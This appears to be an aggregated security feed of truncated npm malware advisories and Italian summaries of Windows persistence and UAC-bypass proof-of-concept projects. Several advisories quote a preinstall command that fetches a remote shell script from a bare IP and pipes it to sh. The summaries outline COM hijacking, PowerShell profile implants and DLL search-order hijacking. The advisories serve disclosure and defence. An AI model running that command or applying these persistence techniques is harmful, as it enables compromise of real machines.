MAL-2026-15557 Malicious code in mfacord (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6e8426c0e4e80e0bd9839d8517e060bd923775b8a3e100aab57e18b4f47c970e On require'mfacord', index.js loads lib/cache.js, which on win32 decodes a hardcoded URL...

ContextMenuHijack

ContextMenuHijack L'idea originale che mi ha ispirato viene da @NinjaParanoid: ContextMenuHijack è una semplice tecnica di persistenza che utilizza il COM hijacking basato sul comportamento umano: quando fai clic con il tasto destro su un file/cartella in Esplora file per aprire il menu...

MAL-2026-15509 Malicious code in grafeno-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad The package's package.json preinstall lifecycle hook uses childprocess to run curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare I...

MAL-2026-15504 Malicious code in grafeno-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain...

MAL-2026-15503 Malicious code in grafeno-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6 package.json declares a preinstall script that runs curl against a bare IP over plain HTTP http://216.126.236.46/x.sh and pipes the response to sh,...

MAL-2026-15502 Malicious code in grafeno-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a package.json declares a preinstall hook that shells out via node -e / childprocess to curl http://216.126.236.46/x.sh over plain HTTP and pipes the...

Malicious code in grafeno-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a package.json declares a preinstall hook that shells out via node -e / childprocess to curl http://216.126.236.46/x.sh over plain HTTP and pipes the...

MAL-2026-15506 Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

MAL-2026-15522 Malicious code in spc-grafeno (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1 The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code...

Malicious code in grafeno-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 19a2990abd7b4447444a42f96636f738449235f9d8760191978e904d028c759e The package's preinstall lifecycle script runs curl -s http://216.126.236.46/x.sh | sh at npm install time, fetching and executing an...

MAL-2026-15507 Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

PSpersist

PSpersist Inserimento di uno script powershell in %HOMEPATH%\Documents\windowspowershell\ , che contiene il percorso dell'impianto , e ogni volta che viene creato un processo powershell, anche l'impianto verrà eseguito. DIMOSTRAZIONE...

hermes-the-messenger

Hermes il messaggero Una PoC per ottenere persistenza tramite notifiche push su Windows Per maggiori dettagli tecnici e contesto leggi il nostro post sul blog qui: https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence Uso Prima di tutto devi...

CompMgmtLauncher_DLL_UACBypass

CompMgmtLauncher & Sharepoint: hijacking dell'ordine di ricerca DLL per UAC/persistenza tramite OneDrive CompMgmtLauncher.exe è soggetto a una vulnerabilità di hijacking dell'ordine di ricerca DLL. Il binario esegue una ricerca nell'ambiente utente per le DLL Secur32.dll o Wininet.dll quando...

MAL-2026-14809 Malicious code in 3layerdipstackkzelo0 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4fe6fd3906f3e7fba969331ad81704c13688f502badb2bffcfd851ea79d99999 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-14593 Malicious code in 3layerdipstack0dsxsc (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2643a6598b1615516404fd1c24e6bf45adf0b325f211259b80191f7858c72ea6 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackr4geh2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6891c5a747b9dc19de051f0ec96ce08f8a791df5f166a338aae679f6da97a329 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in 3layerdipstackgyrw9d (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b163b3dd88a238d45131d3007c0dc561de68c7cfcc646c5486b81face0b4fe57 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...